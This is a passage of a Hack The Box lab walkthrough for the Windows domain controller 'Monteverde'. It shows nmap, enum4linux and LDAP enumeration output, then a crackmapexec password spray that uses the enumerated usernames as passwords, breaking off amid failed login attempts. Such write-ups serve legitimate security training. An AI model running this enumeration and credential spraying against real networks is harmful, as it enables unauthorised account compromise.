Hackthebox - Monteverde
Windows
Nmap
┌──(kali㉿kali)-[~]
└─$ sudo nmap -T4 -sC -sV -O -Pn -p- 10.10.10.172
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-15 15:49 EDT
Nmap scan report for 10.10.10.172
Host is up (0.023s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-10-15 19:50:45Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2022-10-15T19:51:39
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 188.30 secondsAnalysis from nmap scan
Here are the infos we get from nmap
The domain name is
MEGABANKThe host name is
MONTEVERDE
What can we do
SMB enumeration
Kerberos enumeration
HTTP (port 5985) enumeration
DNS enumeration
ldap emumeration
Enumeration
Enum4linux
┌──(kali㉿kali)-[~]
└─$ enum4linux -a 10.10.10.172
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Oct 15 16:26:02 2022
==========================
| Target Information |
==========================
Target ........... 10.10.10.172
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
====================================================
| Enumerating Workgroup/Domain on 10.10.10.172 |
====================================================
[E] Can't find workgroup/domain
============================================
| Nbtstat Information for 10.10.10.172 |
============================================
Looking up status of 10.10.10.172
No reply from 10.10.10.172
=====================================
| Session Check on 10.10.10.172 |
=====================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 437.
[+] Server 10.10.10.172 allows sessions using username '', password ''
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 451.
[+] Got domain/workgroup name:
===========================================
| Getting domain SID for 10.10.10.172 |
===========================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 359.
Domain Name: MEGABANK
Domain Sid: S-1-5-21-391775091-850290835-3566037492
[+] Host is part of a domain (not a workgroup)
======================================
| OS information on 10.10.10.172 |
======================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 458.
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 10.10.10.172 from smbclient:
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 467.
[+] Got OS info for 10.10.10.172 from srvinfo:
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
=============================
| Users on 10.10.10.172 |
=============================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866.
index: 0xfb6 RID: 0x450 acb: 0x00000210 Account: AAD_987d7f2f57d2 Name: AAD_987d7f2f57d2 Desc: Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.
index: 0xfd0 RID: 0xa35 acb: 0x00000210 Account: dgalanos Name: Dimitris Galanos Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xfc3 RID: 0x641 acb: 0x00000210 Account: mhope Name: Mike Hope Desc: (null)
index: 0xfd1 RID: 0xa36 acb: 0x00000210 Account: roleary Name: Ray O'Leary Desc: (null)
index: 0xfc5 RID: 0xa2a acb: 0x00000210 Account: SABatchJobs Name: SABatchJobs Desc: (null)
index: 0xfd2 RID: 0xa37 acb: 0x00000210 Account: smorgan Name: Sally Morgan Desc: (null)
index: 0xfc6 RID: 0xa2b acb: 0x00000210 Account: svc-ata Name: svc-ata Desc: (null)
index: 0xfc7 RID: 0xa2c acb: 0x00000210 Account: svc-bexec Name: svc-bexec Desc: (null)
index: 0xfc8 RID: 0xa2d acb: 0x00000210 Account: svc-netapp Name: svc-netapp Desc: (null)
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 881.
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]
=========================================
| Share Enumeration on 10.10.10.172 |
=========================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 640.
do_connect: Connection to 10.10.10.172 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available
[+] Attempting to map shares on 10.10.10.172
====================================================
| Password Policy Information for 10.10.10.172 |
====================================================
[+] Attaching to 10.10.10.172 using a NULL share
[+] Trying protocol 139/SMB...
[!] Protocol failed: Cannot request session (Called Name:10.10.10.172)
[+] Trying protocol 445/SMB...
[+] Found domain(s):
[+] MEGABANK
[+] Builtin
[+] Password Info for Domain: MEGABANK
[+] Minimum password length: 7
[+] Password history length: 24
[+] Maximum password age: 41 days 23 hours 53 minutes
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: 1 day 4 minutes
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: Not Set
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 501.
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 7
==============================
| Groups on 10.10.10.172 |
==============================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 542.
[+] Getting builtin groups:
group:[Pre-Windows 2000 Compatible Access] rid:[0x22a]
group:[Incoming Forest Trust Builders] rid:[0x22d]
group:[Windows Authorization Access Group] rid:[0x230]
group:[Terminal Server License Servers] rid:[0x231]
group:[Users] rid:[0x221]
group:[Guests] rid:[0x222]
group:[Remote Desktop Users] rid:[0x22b]
group:[Network Configuration Operators] rid:[0x22c]
group:[Performance Monitor Users] rid:[0x22e]
group:[Performance Log Users] rid:[0x22f]
group:[Distributed COM Users] rid:[0x232]
group:[IIS_IUSRS] rid:[0x238]
group:[Cryptographic Operators] rid:[0x239]
group:[Event Log Readers] rid:[0x23d]
group:[Certificate Service DCOM Access] rid:[0x23e]
group:[RDS Remote Access Servers] rid:[0x23f]
group:[RDS Endpoint Servers] rid:[0x240]
group:[RDS Management Servers] rid:[0x241]
group:[Hyper-V Administrators] rid:[0x242]
group:[Access Control Assistance Operators] rid:[0x243]
group:[Remote Management Users] rid:[0x244]
group:[Storage Replica Administrators] rid:[0x246]
[+] Getting builtin group memberships:
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Distributed COM Users' (RID: 562) has member: Could not connect to server 10.10.10.172
Group 'Distributed COM Users' (RID: 562) has member: The username or password was not correct.
Group 'Distributed COM Users' (RID: 562) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Hyper-V Administrators' (RID: 578) has member: Could not connect to server 10.10.10.172
Group 'Hyper-V Administrators' (RID: 578) has member: The username or password was not correct.
Group 'Hyper-V Administrators' (RID: 578) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Terminal Server License Servers' (RID: 561) has member: Could not connect to server 10.10.10.172
Group 'Terminal Server License Servers' (RID: 561) has member: The username or password was not correct.
Group 'Terminal Server License Servers' (RID: 561) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Incoming Forest Trust Builders' (RID: 557) has member: Could not connect to server 10.10.10.172
Group 'Incoming Forest Trust Builders' (RID: 557) has member: The username or password was not correct.
Group 'Incoming Forest Trust Builders' (RID: 557) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Certificate Service DCOM Access' (RID: 574) has member: Could not connect to server 10.10.10.172
Group 'Certificate Service DCOM Access' (RID: 574) has member: The username or password was not correct.
Group 'Certificate Service DCOM Access' (RID: 574) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Remote Desktop Users' (RID: 555) has member: Could not connect to server 10.10.10.172
Group 'Remote Desktop Users' (RID: 555) has member: The username or password was not correct.
Group 'Remote Desktop Users' (RID: 555) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Pre-Windows 2000 Compatible Access' (RID: 554) has member: Could not connect to server 10.10.10.172
Group 'Pre-Windows 2000 Compatible Access' (RID: 554) has member: The username or password was not correct.
Group 'Pre-Windows 2000 Compatible Access' (RID: 554) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'IIS_IUSRS' (RID: 568) has member: Could not connect to server 10.10.10.172
Group 'IIS_IUSRS' (RID: 568) has member: The username or password was not correct.
Group 'IIS_IUSRS' (RID: 568) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'RDS Management Servers' (RID: 577) has member: Could not connect to server 10.10.10.172
Group 'RDS Management Servers' (RID: 577) has member: The username or password was not correct.
Group 'RDS Management Servers' (RID: 577) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Storage Replica Administrators' (RID: 582) has member: Could not connect to server 10.10.10.172
Group 'Storage Replica Administrators' (RID: 582) has member: The username or password was not correct.
Group 'Storage Replica Administrators' (RID: 582) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Users' (RID: 545) has member: Could not connect to server 10.10.10.172
Group 'Users' (RID: 545) has member: The username or password was not correct.
Group 'Users' (RID: 545) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Event Log Readers' (RID: 573) has member: Could not connect to server 10.10.10.172
Group 'Event Log Readers' (RID: 573) has member: The username or password was not correct.
Group 'Event Log Readers' (RID: 573) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Windows Authorization Access Group' (RID: 560) has member: Could not connect to server 10.10.10.172
Group 'Windows Authorization Access Group' (RID: 560) has member: The username or password was not correct.
Group 'Windows Authorization Access Group' (RID: 560) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Access Control Assistance Operators' (RID: 579) has member: Could not connect to server 10.10.10.172
Group 'Access Control Assistance Operators' (RID: 579) has member: The username or password was not correct.
Group 'Access Control Assistance Operators' (RID: 579) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Performance Monitor Users' (RID: 558) has member: Could not connect to server 10.10.10.172
Group 'Performance Monitor Users' (RID: 558) has member: The username or password was not correct.
Group 'Performance Monitor Users' (RID: 558) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'RDS Endpoint Servers' (RID: 576) has member: Could not connect to server 10.10.10.172
Group 'RDS Endpoint Servers' (RID: 576) has member: The username or password was not correct.
Group 'RDS Endpoint Servers' (RID: 576) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'RDS Remote Access Servers' (RID: 575) has member: Could not connect to server 10.10.10.172
Group 'RDS Remote Access Servers' (RID: 575) has member: The username or password was not correct.
Group 'RDS Remote Access Servers' (RID: 575) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Performance Log Users' (RID: 559) has member: Could not connect to server 10.10.10.172
Group 'Performance Log Users' (RID: 559) has member: The username or password was not correct.
Group 'Performance Log Users' (RID: 559) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Network Configuration Operators' (RID: 556) has member: Could not connect to server 10.10.10.172
Group 'Network Configuration Operators' (RID: 556) has member: The username or password was not correct.
Group 'Network Configuration Operators' (RID: 556) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Remote Management Users' (RID: 580) has member: Could not connect to server 10.10.10.172
Group 'Remote Management Users' (RID: 580) has member: The username or password was not correct.
Group 'Remote Management Users' (RID: 580) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Guests' (RID: 546) has member: Could not connect to server 10.10.10.172
Group 'Guests' (RID: 546) has member: The username or password was not correct.
Group 'Guests' (RID: 546) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Cryptographic Operators' (RID: 569) has member: Could not connect to server 10.10.10.172
Group 'Cryptographic Operators' (RID: 569) has member: The username or password was not correct.
Group 'Cryptographic Operators' (RID: 569) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 542.
[+] Getting local groups:
group:[Cert Publishers] rid:[0x205]
group:[RAS and IAS Servers] rid:[0x229]
group:[Allowed RODC Password Replication Group] rid:[0x23b]
group:[Denied RODC Password Replication Group] rid:[0x23c]
group:[DnsAdmins] rid:[0x44d]
group:[SQLServer2005SQLBrowserUser$MONTEVERDE] rid:[0x44f]
group:[ADSyncAdmins] rid:[0x451]
group:[ADSyncOperators] rid:[0x452]
group:[ADSyncBrowse] rid:[0x453]
group:[ADSyncPasswordSet] rid:[0x454]
[+] Getting local group memberships:
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Denied RODC Password Replication Group' (RID: 572) has member: Could not connect to server 10.10.10.172
Group 'Denied RODC Password Replication Group' (RID: 572) has member: The username or password was not correct.
Group 'Denied RODC Password Replication Group' (RID: 572) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'RAS and IAS Servers' (RID: 553) has member: Could not connect to server 10.10.10.172
Group 'RAS and IAS Servers' (RID: 553) has member: The username or password was not correct.
Group 'RAS and IAS Servers' (RID: 553) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'ADSyncOperators' (RID: 1106) has member: Could not connect to server 10.10.10.172
Group 'ADSyncOperators' (RID: 1106) has member: The username or password was not correct.
Group 'ADSyncOperators' (RID: 1106) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'DnsAdmins' (RID: 1101) has member: Could not connect to server 10.10.10.172
Group 'DnsAdmins' (RID: 1101) has member: The username or password was not correct.
Group 'DnsAdmins' (RID: 1101) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'ADSyncPasswordSet' (RID: 1108) has member: Could not connect to server 10.10.10.172
Group 'ADSyncPasswordSet' (RID: 1108) has member: The username or password was not correct.
Group 'ADSyncPasswordSet' (RID: 1108) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Allowed RODC Password Replication Group' (RID: 571) has member: Could not connect to server 10.10.10.172
Group 'Allowed RODC Password Replication Group' (RID: 571) has member: The username or password was not correct.
Group 'Allowed RODC Password Replication Group' (RID: 571) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'Cert Publishers' (RID: 517) has member: Could not connect to server 10.10.10.172
Group 'Cert Publishers' (RID: 517) has member: The username or password was not correct.
Group 'Cert Publishers' (RID: 517) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'ADSyncAdmins' (RID: 1105) has member: Could not connect to server 10.10.10.172
Group 'ADSyncAdmins' (RID: 1105) has member: The username or password was not correct.
Group 'ADSyncAdmins' (RID: 1105) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'ADSyncBrowse' (RID: 1107) has member: Could not connect to server 10.10.10.172
Group 'ADSyncBrowse' (RID: 1107) has member: The username or password was not correct.
Group 'ADSyncBrowse' (RID: 1107) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 574.
Group 'SQLServer2005SQLBrowserUser$MONTEVERDE' (RID: 1103) has member: Could not connect to server 10.10.10.172
Group 'SQLServer2005SQLBrowserUser$MONTEVERDE' (RID: 1103) has member: The username or password was not correct.
Group 'SQLServer2005SQLBrowserUser$MONTEVERDE' (RID: 1103) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 593.
[+] Getting domain groups:
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Azure Admins] rid:[0xa29]
group:[File Server Admins] rid:[0xa2e]
group:[Call Recording Admins] rid:[0xa2f]
group:[Reception] rid:[0xa30]
group:[Operations] rid:[0xa31]
group:[Trading] rid:[0xa32]
group:[HelpDesk] rid:[0xa33]
group:[Developers] rid:[0xa34]
[+] Getting domain group memberships:
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Cloneable Domain Controllers' (RID: 522) has member: Could not connect to server 10.10.10.172
Group 'Cloneable Domain Controllers' (RID: 522) has member: The username or password was not correct.
Group 'Cloneable Domain Controllers' (RID: 522) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Domain Users' (RID: 513) has member: Could not connect to server 10.10.10.172
Group 'Domain Users' (RID: 513) has member: The username or password was not correct.
Group 'Domain Users' (RID: 513) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Domain Computers' (RID: 515) has member: Could not connect to server 10.10.10.172
Group 'Domain Computers' (RID: 515) has member: The username or password was not correct.
Group 'Domain Computers' (RID: 515) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Reception' (RID: 2608) has member: Could not connect to server 10.10.10.172
Group 'Reception' (RID: 2608) has member: The username or password was not correct.
Group 'Reception' (RID: 2608) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Domain Guests' (RID: 514) has member: Could not connect to server 10.10.10.172
Group 'Domain Guests' (RID: 514) has member: The username or password was not correct.
Group 'Domain Guests' (RID: 514) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'File Server Admins' (RID: 2606) has member: Could not connect to server 10.10.10.172
Group 'File Server Admins' (RID: 2606) has member: The username or password was not correct.
Group 'File Server Admins' (RID: 2606) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Operations' (RID: 2609) has member: Could not connect to server 10.10.10.172
Group 'Operations' (RID: 2609) has member: The username or password was not correct.
Group 'Operations' (RID: 2609) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Group Policy Creator Owners' (RID: 520) has member: Could not connect to server 10.10.10.172
Group 'Group Policy Creator Owners' (RID: 520) has member: The username or password was not correct.
Group 'Group Policy Creator Owners' (RID: 520) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'DnsUpdateProxy' (RID: 1102) has member: Could not connect to server 10.10.10.172
Group 'DnsUpdateProxy' (RID: 1102) has member: The username or password was not correct.
Group 'DnsUpdateProxy' (RID: 1102) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Trading' (RID: 2610) has member: Could not connect to server 10.10.10.172
Group 'Trading' (RID: 2610) has member: The username or password was not correct.
Group 'Trading' (RID: 2610) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Call Recording Admins' (RID: 2607) has member: Could not connect to server 10.10.10.172
Group 'Call Recording Admins' (RID: 2607) has member: The username or password was not correct.
Group 'Call Recording Admins' (RID: 2607) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'HelpDesk' (RID: 2611) has member: Could not connect to server 10.10.10.172
Group 'HelpDesk' (RID: 2611) has member: The username or password was not correct.
Group 'HelpDesk' (RID: 2611) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Azure Admins' (RID: 2601) has member: Could not connect to server 10.10.10.172
Group 'Azure Admins' (RID: 2601) has member: The username or password was not correct.
Group 'Azure Admins' (RID: 2601) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Enterprise Read-only Domain Controllers' (RID: 498) has member: Could not connect to server 10.10.10.172
Group 'Enterprise Read-only Domain Controllers' (RID: 498) has member: The username or password was not correct.
Group 'Enterprise Read-only Domain Controllers' (RID: 498) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Developers' (RID: 2612) has member: Could not connect to server 10.10.10.172
Group 'Developers' (RID: 2612) has member: The username or password was not correct.
Group 'Developers' (RID: 2612) has member: Connection failed: NT_STATUS_LOGON_FAILURE
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 614.
Group 'Protected Users' (RID: 525) has member: Could not connect to server 10.10.10.172
Group 'Protected Users' (RID: 525) has member: The username or password was not correct.
Group 'Protected Users' (RID: 525) has member: Connection failed: NT_STATUS_LOGON_FAILURE
=======================================================================
| Users on 10.10.10.172 via RID cycling (RIDS: 500-550,1000-1050) |
=======================================================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 710.
[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED. RID cycling not possible.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 742.
=============================================
| Getting printer info for 10.10.10.172 |
=============================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 991.
Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED
enum4linux complete on Sat Oct 15 16:26:43 2022Enum4linux gave back lots of info. We got a user list from it (usename and full name). It is worth keeping them aside in a txt file.
Guest
AAD_987d7f2f57d2
mhope
SABatchJobs
svc-ata
svc-bexec
svc-netapp
dgalanos
roleary
smorganLdap
ldapsearch-ad
Get it here
┌──(kali㉿kali)-[/opt/ldapsearch-ad]
└─$ python3 ldapsearch-ad.py -l 10.10.10.172 -t info
### Server infos ###
[+] Forest functionality level = Windows 2016
[+] Domain functionality level = Windows 2016
[+] Domain controller functionality level = Windows 2016
[+] rootDomainNamingContext = DC=MEGABANK,DC=LOCAL
[+] defaultNamingContext = DC=MEGABANK,DC=LOCAL
[+] ldapServiceName = MEGABANK.LOCAL:monteverde$@MEGABANK.LOCAL
[+] naming_contexts = ['DC=MEGABANK,DC=LOCAL', 'CN=Configuration,DC=MEGABANK,DC=LOCAL', 'CN=Schema,CN=Configuration,DC=MEGABANK,DC=LOCAL', 'DC=DomainDnsZones,DC=MEGABANK,DC=LOCAL', 'DC=ForestDnsZones,DC=MEGABANK,DC=LOCAL']HTTP on port 5985
Gobuster does not give anything useful
Password spraying with users list
One thing to try is to do password spraying and use the users we found as the list for users AND passwords. It could work.
──(kali㉿kali)-[~/Documents/monteverde]
└─$ crackmapexec smb 10.10.10.172 -u users.txt -p users.txt --shares
SMB 10.10.10.172 445 MONTEVERDE [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:svc-ata STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:svc-bexec STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:svc-netapp STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:dgalanos STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:roleary STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:smorgan STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-ata STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-bexec STATUS_LOGON_FAILURE
